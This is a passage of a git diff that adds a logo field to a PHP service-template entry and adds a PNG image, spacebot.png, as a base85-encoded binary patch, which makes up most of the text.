=> 'one-click-service-'.$serviceKey, 'category' => 'Services', 'resourceType' => 'service', + 'logo' => data_get($service, 'logo'), ]); } diff --git a/public/svgs/spacebot.png b/public/svgs/spacebot.png new file mode 100644 index 0000000000000000000000000000000000000000..8ec1da70223b2e1287357b0766b645f9535fb6d4 GIT binary patch literal 134688 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 